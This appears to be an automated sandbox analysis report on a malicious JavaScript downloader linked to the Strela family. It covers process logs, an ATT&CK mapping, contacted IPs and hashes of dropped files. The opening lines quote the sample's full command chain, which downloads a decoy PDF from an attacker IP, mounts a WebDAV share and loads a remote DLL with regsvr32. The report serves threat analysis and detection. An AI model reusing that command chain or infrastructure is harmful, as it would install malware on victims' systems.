Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
12662108703247616042.js	5%	Virustotal		Browse
12662108703247616042.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/3	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/Mj	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/pace	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/Aj	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000A.00000003.2397603489.000001E9CEDA0000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr	false		high
http://crl.ver)	svchost.exe, 0000000A.00000002.3607013555.000001E9CF000000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.9.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.10.dr	false		high
http://193.143.1.205:8888/Mj	net.exe, 00000008.00000002.2383945491.0000029A60389000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/pace	net.exe, 00000008.00000002.2383945491.0000029A60358000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000008.00000002.2383945491.0000029A60358000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.2383945491.0000029A60389000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.2383945491.0000029A603AB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/Aj	net.exe, 00000008.00000002.2383945491.0000029A60389000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/3	net.exe, 00000008.00000002.2383945491.0000029A60358000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587750
Start date and time:	2025-01-10 17:41:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	12662108703247616042.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 23.209.209.135, 2.23.242.162, 2.16.168.105, 2.16.168.107, 13.107.246.45, 20.12.23.50, 50.16.47.176, 104.78.188.188, 172.202.163.200
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, azureedge-t-prod.trafficmanager.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
11:42:17	API Interceptor	23x Sleep call for process: powershell.exe modified
11:42:21	API Interceptor	1x Sleep call for process: net.exe modified
11:42:22	API Interceptor	2x Sleep call for process: svchost.exe modified
11:42:32	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	44742054371077666.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6164687600716519.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1923918274137833386.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	62212369534426657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	334130052300215064.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22977297631246330149.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10266121931448610316.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	489131343024428850.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	25917225161220417691.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	51406528193621400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	wN7EPNiHSM.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	334130052300215064.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	http://infarmbureau.com	Get hash	malicious	Unknown	Browse	13.107.246.45
	489131343024428850.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	zAK7HHniGW.exe	Get hash	malicious	Snake Keylogger	Browse	13.107.246.45
	8nkdC8daWi.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	13.107.246.45
	lExtvSjBgq.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	Axvn7Hegxc.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	tx4pkcHL9o.exe	Get hash	malicious	MassLogger RAT	Browse	13.107.246.45
	raq4ttncJF.exe	Get hash	malicious	FormBook	Browse	13.107.246.45

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	44742054371077666.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6164687600716519.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	124651728043662978.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1923918274137833386.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	62212369534426657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	334130052300215064.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22977297631246330149.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	199708044356824138.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10266121931448610316.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18938150912509528417.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.726332274050243
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH08:9JZj5MiKNnNhoxuZ
MD5:	3B828C66888E9C4A5E6ABC84551A6FAC
SHA1:	75A1FDCF3E5578269ACB99BCB972C3AE0DD3BD48
SHA-256:	01C7692A349D56B97F4718961493EEA04FD37C2765BCF55014EDA2169BD6BFE2
SHA-512:	D0D0403FCACB49F778D47B4E52669AE5AA7EE769E1FC09BE304ED3A7B84FDCBAA39D861CB959F5D33F8931ABA87E901927C6B2B4CAA24DF07438E67B270A77FF
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0xb3663c1f, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.755606997014111
Encrypted:	false
SSDEEP:	1536:tSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:tazaSvGJzYj2UlmOlOL
MD5:	D3EB97DA551AB6B1B07E79ED294D65B2
SHA1:	F14391F275D7AB6C8C3C43550CBC460E22764C6D
SHA-256:	A1316896B03EA7A4FC9E5DF8C20F2159855C6C1FA4B3860186C17500C025686D
SHA-512:	040A628151CF2F0BE155DE180ED9E413E986D7C534F3B11498F1B4DC1F3F8170E1299E537504CE9A394380B8A26FDE10766C322A8DC5AB460C435EDBF2EA875A
Malicious:	false
Preview:	.f<.... .......7.......X\...;...{......................0.e......!...{?.....}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{..................................=&.6....}......................*...}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07985720377107716
Encrypted:	false
SSDEEP:	3:5ei/KYeEGYiuANaAPaU1liEZilluxmO+l/SNxOf:5eyKzFHNDPaUpGgmOH
MD5:	CCB40AA82DFFD778E6D2F81404B211E3
SHA1:	3C13715F97B85D35D68B6E06C7C44D57367EB899
SHA-256:	650270F02A2495C7E5B32AD1B5C9CEC0F3CDD730C4624C5B5AEEDAF701C80C16
SHA-512:	5787181820695AEB7CA246BC6893739429D274B774F4E94CE313EDBA947F8517E0A6DB309C8D5B8D3F0BBCAB7F2A9219EA1378D0CB29845E27538EE0F10FD2D8
Malicious:	false
Preview:	.D.......................................;...{......}...!...{?..........!...{?..!...{?..g...!...{?........................}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.193383549066507
Encrypted:	false
SSDEEP:	6:iO4Eqq2PN72nKuAl9OmbnIFUtSEijZmwsEi5kwON72nKuAl9OmbjLJ:79qvVaHAahFUt3ij/Ji55OaHAaSJ
MD5:	3F425FD9EE7AEEBBB0A80F3728AC8358
SHA1:	DAF248AFDC426E96948E1917FEA28B1338C100A6
SHA-256:	9A2F92355A5F6F68D0EB88FB299F0A9508E3CA58767A7F7B4ABAF941894BFCD8
SHA-512:	53EB7345A0BA21110A624655011305405AA595EB129EF528DFD6EFDBF1422E9ABBE95F525C922E50C612C041A61C402F62A1E39806281D4ACB661C05F7052199
Malicious:	false
Preview:	2025/01/10-11:42:22.873 1474 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:42:22.876 1474 Recovering log #3.2025/01/10-11:42:22.876 1474 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.193383549066507
Encrypted:	false
SSDEEP:	6:iO4Eqq2PN72nKuAl9OmbnIFUtSEijZmwsEi5kwON72nKuAl9OmbjLJ:79qvVaHAahFUt3ij/Ji55OaHAaSJ
MD5:	3F425FD9EE7AEEBBB0A80F3728AC8358
SHA1:	DAF248AFDC426E96948E1917FEA28B1338C100A6
SHA-256:	9A2F92355A5F6F68D0EB88FB299F0A9508E3CA58767A7F7B4ABAF941894BFCD8
SHA-512:	53EB7345A0BA21110A624655011305405AA595EB129EF528DFD6EFDBF1422E9ABBE95F525C922E50C612C041A61C402F62A1E39806281D4ACB661C05F7052199
Malicious:	false
Preview:	2025/01/10-11:42:22.873 1474 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:42:22.876 1474 Recovering log #3.2025/01/10-11:42:22.876 1474 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.160399725312804
Encrypted:	false
SSDEEP:	6:iO4E5tVq2PN72nKuAl9Ombzo2jMGIFUtSEoWngZmwsEojaSIkwON72nKuAl9OmbX:795tVvVaHAa8uFUt3oeg/JojtI5OaHAv
MD5:	1D54AA321413FAD0A992006B40AF5B6B
SHA1:	41FE9B7CE0766EB5011C2E288CFC7924AC01B19A
SHA-256:	F804EA0145C684E88A914E082B5B1844FD0347E1654240E496A25D609EF0DB01
SHA-512:	D26EAC081D7EE866E2C7B0DCCB17DFAA5CA921CB8B9221584E2A6706C8D212C4851ECE2648B9005B04682A6C5BDFFD610BB398589ECE4F239EF3EA318DC891B1
Malicious:	false
Preview:	2025/01/10-11:42:22.895 16d4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:42:22.903 16d4 Recovering log #3.2025/01/10-11:42:22.904 16d4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.160399725312804
Encrypted:	false
SSDEEP:	6:iO4E5tVq2PN72nKuAl9Ombzo2jMGIFUtSEoWngZmwsEojaSIkwON72nKuAl9OmbX:795tVvVaHAa8uFUt3oeg/JojtI5OaHAv
MD5:	1D54AA321413FAD0A992006B40AF5B6B
SHA1:	41FE9B7CE0766EB5011C2E288CFC7924AC01B19A
SHA-256:	F804EA0145C684E88A914E082B5B1844FD0347E1654240E496A25D609EF0DB01
SHA-512:	D26EAC081D7EE866E2C7B0DCCB17DFAA5CA921CB8B9221584E2A6706C8D212C4851ECE2648B9005B04682A6C5BDFFD610BB398589ECE4F239EF3EA318DC891B1
Malicious:	false
Preview:	2025/01/10-11:42:22.895 16d4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:42:22.903 16d4 Recovering log #3.2025/01/10-11:42:22.904 16d4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.975614667422717
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqsVNsBdOg2HwAcaq3QYiubcP7E4T3y:Y2sRdslVudMHw3QYhbA7nby
MD5:	C8C1F3C393788DB0B9A596CE9859038E
SHA1:	9B01C495C478B77065A1C5AB9951655F58507A23
SHA-256:	1987B45DFF74C0631C9DA16A9BAFA54768C5FB4197CB9DC74D7D6F400C63C6E5
SHA-512:	75D1AE4C747C7E0C7E24D18FC68CF71B486940FF25A9C7E3FCC3F85B6A3A9D344B7FEE1982526A42FC334C443A8976CEE2AE7D05F0417C51EA29C176A45BFDEA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381087353475062","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":172047},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a99b9917-cb72-485e-a194-d28d429517bc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.975614667422717
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqsVNsBdOg2HwAcaq3QYiubcP7E4T3y:Y2sRdslVudMHw3QYhbA7nby
MD5:	C8C1F3C393788DB0B9A596CE9859038E
SHA1:	9B01C495C478B77065A1C5AB9951655F58507A23
SHA-256:	1987B45DFF74C0631C9DA16A9BAFA54768C5FB4197CB9DC74D7D6F400C63C6E5
SHA-512:	75D1AE4C747C7E0C7E24D18FC68CF71B486940FF25A9C7E3FCC3F85B6A3A9D344B7FEE1982526A42FC334C443A8976CEE2AE7D05F0417C51EA29C176A45BFDEA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381087353475062","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":172047},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.250581451172306
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7+OgvE:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhd
MD5:	161D3A3729F6AB8DE703A8471775E919
SHA1:	8BFD2E2E9FE325EB10248A39897C844492542066
SHA-256:	90CC2FFA78D2FE33CE4F317A7ECA6285D6B333A1D879E99A11D1E86A5234DBED
SHA-512:	2512D45D63F67C2E31295AD56CE8949B6552D07C9406AEC29FB6C1D07BFC7FCD21550248C0C8806A8A80EC2AF33098E4DB49CEA5FF9E11A142B11A733AD1DFD5
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.1509721954164736
Encrypted:	false
SSDEEP:	6:iO4EGYw0Vq2PN72nKuAl9OmbzNMxIFUtSEGifgZmwsEGifIkwON72nKuAl9OmbzE:79GYw0VvVaHAa8jFUt3Gifg/JGifI5OG
MD5:	0E7C7B450366E07116A010D2FCAC49C9
SHA1:	F86073BD882349ECF16684211F9F0F7BEF4F6ED5
SHA-256:	35DA011F897CBAB33C885C415A643DDDE63018A494A5AC048FB5C53128814148
SHA-512:	E869C167294872EED9A9511197356D75A99695ECE5F78C8D4057D140F6AF0165C505A37BC90B9BF8A0F00E4F8DA88B13341664F61CD9F7D8B919B5CCFD36D27F
Malicious:	false
Preview:	2025/01/10-11:42:23.298 16d4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:42:23.300 16d4 Recovering log #3.2025/01/10-11:42:23.300 16d4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.1509721954164736
Encrypted:	false
SSDEEP:	6:iO4EGYw0Vq2PN72nKuAl9OmbzNMxIFUtSEGifgZmwsEGifIkwON72nKuAl9OmbzE:79GYw0VvVaHAa8jFUt3Gifg/JGifI5OG
MD5:	0E7C7B450366E07116A010D2FCAC49C9
SHA1:	F86073BD882349ECF16684211F9F0F7BEF4F6ED5
SHA-256:	35DA011F897CBAB33C885C415A643DDDE63018A494A5AC048FB5C53128814148
SHA-512:	E869C167294872EED9A9511197356D75A99695ECE5F78C8D4057D140F6AF0165C505A37BC90B9BF8A0F00E4F8DA88B13341664F61CD9F7D8B919B5CCFD36D27F
Malicious:	false
Preview:	2025/01/10-11:42:23.298 16d4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:42:23.300 16d4 Recovering log #3.2025/01/10-11:42:23.300 16d4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444680726033667
Encrypted:	false
SSDEEP:	384:ye6ci5t9iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mWs3OazzU89UTTgUL
MD5:	DFFC50E87E982C345690E7C8C8093D8E
SHA1:	119F69A686A7F2790B505F4EA64123A3A8BD67A4
SHA-256:	99752A2A3D6FCACC26874F25A9ACBF6332AA923341E229AEDEE21BC5D5805B9B
SHA-512:	FB477659BF0933348BA139F81215FE7AB1E72E3AC2CEC6FE41C78463CAE8025E9D61307AAE89E8450063FD3E1B87906BB4B4751E17CD1AB144E1BBFA2D15E560
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7622463880631454
Encrypted:	false
SSDEEP:	48:7MEJioyVeioykoy1C7oy16oy18KOioy1noy1AYoy1Wioy1oioykioyBoy1noy1O/:7zJue07XjBiBb9IVXEBodRBk2
MD5:	86B8783A2A25342CF626E33CFE5E6A9D
SHA1:	361FF004B3474B23B4525505A8999C9AF85F4D4D
SHA-256:	2B1E70D4728A0FFDB931B584FBF4CB5527827D958EE13F17F9BF7115434F0BB0
SHA-512:	334ACBC0AD8CC1AD3E91F0FA3511ABF403DD7C3DB5FAC928469881CADDD6582577349CECA4F583C9924120AF03C27D2C510C2EECE6F2E859AE3BFE02D8B25214
Malicious:	false
Preview:	.... .c.....-A.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

